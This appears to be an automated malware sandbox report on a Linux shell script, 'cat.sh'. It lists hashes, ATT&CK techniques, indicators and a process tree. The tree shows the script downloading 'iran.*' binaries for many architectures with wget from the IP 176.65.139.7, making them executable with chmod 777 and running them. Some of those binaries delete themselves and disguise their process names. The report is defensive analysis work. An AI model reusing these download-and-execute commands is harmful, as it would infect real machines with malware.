ef23ed81ef111111a621540b0e050d01e0d72bf466e047e46362d08ee940303c

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260126-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260126-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
11/05/2026, 22:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
cat.sh
Size 1KB
Sample260511-2x2ftse14q
SHA256 ef23ed81ef111111a621540b0e050d01e0d72bf466e047e46362d08ee940303c
MD5 3473a76c22c93ab8289360c5770059cf
SHA1 8a606021897c9eb04b5a26d76777746307f5347e
SHA512 160001f7873937c663d187282b020fbf7d8d39caa01dbd111c2349c0d056f2015cac379e1afbf173a9c18a6581868cea3b96398ed1733423b70f2b757f495dd2
TLSH
T14731ED8E60F4A142C5DCEF0070E58DC8A316999263DB2A3AFC812E66CCC9E547019B36
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery upx

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1567	chmod
1571	chmod
1579	chmod
1522	chmod
1530	chmod
1542	chmod
1550	chmod
1554	chmod
1562	chmod
1575	chmod
1534	chmod
1538	chmod
1546	chmod
1558	chmod

Deletes itself 2 IoCs

pid	Process
1526	iran.x86_64
1566	iran.i486

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/iran.x86_64	1523	cat.sh

Enumerates running processes
Discovers information about currently running processes on the system

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-1.dat	upx

Changes its process name 2 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	t.me/flylegit	1526	iran.x86_64
Changes the process name, possibly in an attempt to hide itself	t.me/flylegit	1566	iran.i486

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1349/comm	iran.x86_64
File opened for reading	/proc/27/comm	iran.i486
File opened for reading	/proc/115/comm	iran.i486
File opened for reading	/proc/175/comm	iran.i486
File opened for reading	/proc/432/comm	iran.i486
File opened for reading	/proc/1027/comm	iran.i486
File opened for reading	/proc/23/comm	iran.x86_64
File opened for reading	/proc/477/comm	iran.x86_64
File opened for reading	/proc/1068/comm	iran.x86_64
File opened for reading	/proc/1039/comm	iran.i486
File opened for reading	/proc/1090/comm	iran.i486
File opened for reading	/proc/6/comm	iran.x86_64
File opened for reading	/proc/15/comm	iran.x86_64
File opened for reading	/proc/173/comm	iran.x86_64
File opened for reading	/proc/901/comm	iran.x86_64
File opened for reading	/proc/1261/comm	iran.x86_64
File opened for reading	/proc/1520/comm	iran.x86_64
File opened for reading	/proc/15/comm	iran.i486
File opened for reading	/proc/22/comm	iran.i486
File opened for reading	/proc/989/comm	iran.x86_64
File opened for reading	/proc/21/comm	iran.i486
File opened for reading	/proc/1139/comm	iran.i486
File opened for reading	/proc/1248/comm	iran.x86_64
File opened for reading	/proc/318/comm	iran.i486
File opened for reading	/proc/663/comm	iran.i486
File opened for reading	/proc/35/comm	iran.x86_64
File opened for reading	/proc/17/comm	iran.i486
File opened for reading	/proc/35/comm	iran.i486
File opened for reading	/proc/1096/comm	iran.x86_64
File opened for reading	/proc/159/comm	iran.i486
File opened for reading	/proc/174/comm	iran.i486
File opened for reading	/proc/204/comm	iran.i486
File opened for reading	/proc/270/comm	iran.i486
File opened for reading	/proc/418/comm	iran.i486
File opened for reading	/proc/665/comm	iran.i486
File opened for reading	/proc/503/comm	iran.x86_64
File opened for reading	/proc/1086/comm	iran.x86_64
File opened for reading	/proc/444/comm	iran.i486
File opened for reading	/proc/478/comm	iran.i486
File opened for reading	/proc/1056/comm	iran.i486
File opened for reading	/proc/25/comm	iran.x86_64
File opened for reading	/proc/1320/comm	iran.x86_64
File opened for reading	/proc/478/comm	iran.x86_64
File opened for reading	/proc/321/comm	iran.i486
File opened for reading	/proc/29/comm	iran.x86_64
File opened for reading	/proc/906/comm	iran.x86_64
File opened for reading	/proc/1044/comm	iran.x86_64
File opened for reading	/proc/1079/comm	iran.x86_64
File opened for reading	/proc/1381/comm	iran.x86_64
File opened for reading	/proc/5/comm	iran.i486
File opened for reading	/proc/1086/comm	iran.i486
File opened for reading	/proc/1488/comm	iran.i486
File opened for reading	/proc/176/comm	iran.x86_64
File opened for reading	/proc/203/comm	iran.x86_64
File opened for reading	/proc/712/comm	iran.x86_64
File opened for reading	/proc/970/comm	iran.x86_64
File opened for reading	/proc/2/comm	iran.i486
File opened for reading	/proc/20/comm	iran.i486
File opened for reading	/proc/80/comm	iran.i486
File opened for reading	/proc/1152/comm	iran.i486
File opened for reading	/proc/204/comm	iran.x86_64
File opened for reading	/proc/473/comm	iran.x86_64
File opened for reading	/proc/704/comm	iran.x86_64
File opened for reading	/proc/479/comm	iran.i486

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1543	iran.mipsel
1537	wget
1539	iran.mips
1541	wget

Writes file to tmp directory 14 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/iran.x86_64	wget
File opened for modification	/tmp/iran.mips	wget
File opened for modification	/tmp/iran.mipsel	wget
File opened for modification	/tmp/iran.powerpc	wget
File opened for modification	/tmp/iran.sh4	wget
File opened for modification	/tmp/iran.arc	wget
File opened for modification	/tmp/iran.aarch64	wget
File opened for modification	/tmp/iran.m68k	wget
File opened for modification	/tmp/iran.sparc	wget
File opened for modification	/tmp/iran.i486	wget
File opened for modification	/tmp/iran.armv4l	wget
File opened for modification	/tmp/iran.armv5l	wget
File opened for modification	/tmp/iran.armv6l	wget
File opened for modification	/tmp/iran.armv7l	wget

/tmp/cat.sh
/tmp/cat.sh
1⤵
- Executes dropped EXE
PID:1520
- /usr/bin/wget
  wget http://176.65.139.7/iran.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1521
- /bin/chmod
  chmod 777 iran.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1522
- /tmp/iran.x86_64
  ./iran.x86_64
  2⤵
  - Deletes itself
  - Changes its process name
  - Reads runtime system information
  PID:1523
- /usr/bin/wget
  wget http://176.65.139.7/iran.aarch64
  2⤵
  - Writes file to tmp directory
  PID:1525
- /bin/chmod
  chmod 777 iran.aarch64
  2⤵
  - File and Directory Permissions Modification
  PID:1530
- /tmp/iran.aarch64
  ./iran.aarch64
  2⤵
  PID:1531
- /usr/bin/wget
  wget http://176.65.139.7/iran.m68k
  2⤵
  - Writes file to tmp directory
  PID:1533
- /bin/chmod
  chmod 777 iran.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:1534
- /tmp/iran.m68k
  ./iran.m68k
  2⤵
  PID:1535
- /usr/bin/wget
  wget http://176.65.139.7/iran.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1537
- /bin/chmod
  chmod 777 iran.mips
  2⤵
  - File and Directory Permissions Modification
  PID:1538
- /tmp/iran.mips
  ./iran.mips
  2⤵
  - System Network Configuration Discovery
  PID:1539
- /usr/bin/wget
  wget http://176.65.139.7/iran.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1541
- /bin/chmod
  chmod 777 iran.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:1542
- /tmp/iran.mipsel
  ./iran.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1543
- /usr/bin/wget
  wget http://176.65.139.7/iran.powerpc
  2⤵
  - Writes file to tmp directory
  PID:1545
- /bin/chmod
  chmod 777 iran.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:1546
- /tmp/iran.powerpc
  ./iran.powerpc
  2⤵
  PID:1547
- /usr/bin/wget
  wget http://176.65.139.7/iran.sparc
  2⤵
  - Writes file to tmp directory
  PID:1549
- /bin/chmod
  chmod 777 iran.sparc
  2⤵
  - File and Directory Permissions Modification
  PID:1550
- /tmp/iran.sparc
  ./iran.sparc
  2⤵
  PID:1551
- /usr/bin/wget
  wget http://176.65.139.7/iran.sh4
  2⤵
  - Writes file to tmp directory
  PID:1553
- /bin/chmod
  chmod 777 iran.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:1554
- /tmp/iran.sh4
  ./iran.sh4
  2⤵
  PID:1555
- /usr/bin/wget
  wget http://176.65.139.7/iran.arc
  2⤵
  - Writes file to tmp directory
  PID:1557
- /bin/chmod
  chmod 777 iran.arc
  2⤵
  - File and Directory Permissions Modification
  PID:1558
- /tmp/iran.arc
  ./iran.arc
  2⤵
  PID:1559
- /usr/bin/wget
  wget http://176.65.139.7/iran.i486
  2⤵
  - Writes file to tmp directory
  PID:1561
- /bin/chmod
  chmod 777 iran.i486
  2⤵
  - File and Directory Permissions Modification
  PID:1562
- /tmp/iran.i486
  ./iran.i486
  2⤵
  - Deletes itself
  - Changes its process name
  - Reads runtime system information
  PID:1563
- /usr/bin/wget
  wget http://176.65.139.7/iran.armv4l
  2⤵
  - Writes file to tmp directory
  PID:1565
- /bin/chmod
  chmod 777 iran.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:1567
- /tmp/iran.armv4l
  ./iran.armv4l
  2⤵
  PID:1568
- /usr/bin/wget
  wget http://176.65.139.7/iran.armv5l
  2⤵
  - Writes file to tmp directory
  PID:1570
- /bin/chmod
  chmod 777 iran.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:1571
- /tmp/iran.armv5l
  ./iran.armv5l
  2⤵
  PID:1572
- /usr/bin/wget
  wget http://176.65.139.7/iran.armv6l
  2⤵
  - Writes file to tmp directory
  PID:1574
- /bin/chmod
  chmod 777 iran.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:1575
- /tmp/iran.armv6l
  ./iran.armv6l
  2⤵
  PID:1576
- /usr/bin/wget
  wget http://176.65.139.7/iran.armv7l
  2⤵
  - Writes file to tmp directory
  PID:1578
- /bin/chmod
  chmod 777 iran.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:1579
- /tmp/iran.armv7l
  ./iran.armv7l
  2⤵
  PID:1580

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

iran.x86_64

Path /tmp/iran.x86_64
Size 46KB
SHA256 3c4f92dd51c57ac1558163b3cb97f21eb0be9a69505a9f9fbe82ac492e9c6254
MD5 f99c038cd40510875f295e988cf71073
SHA1 b2b5ab21fc978b9e4d56ee85a1c87053436352c1
SHA512 dfb15caadc2c53e72bf874c4ad2d5cbe6a61026123d911b7c8c3fe4d4534d142868b62007911f5b5155f8c2f9655eaf437a15be21c8a384649782b00500fd5f6
SSDEEP 768:SGaxtJI+odZefgIqKjv/Fidcby5LxEesrUjnHLi3RQkrLVkbi4dx/YeR22fb8keo:ixrzodZwgI9z8zLuBojrURQoybLR7
TLSH
T1E323F1B383335075D2AA9FFA56244DD8EC25742C72071B9E097C31FFBD23292A664A35
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download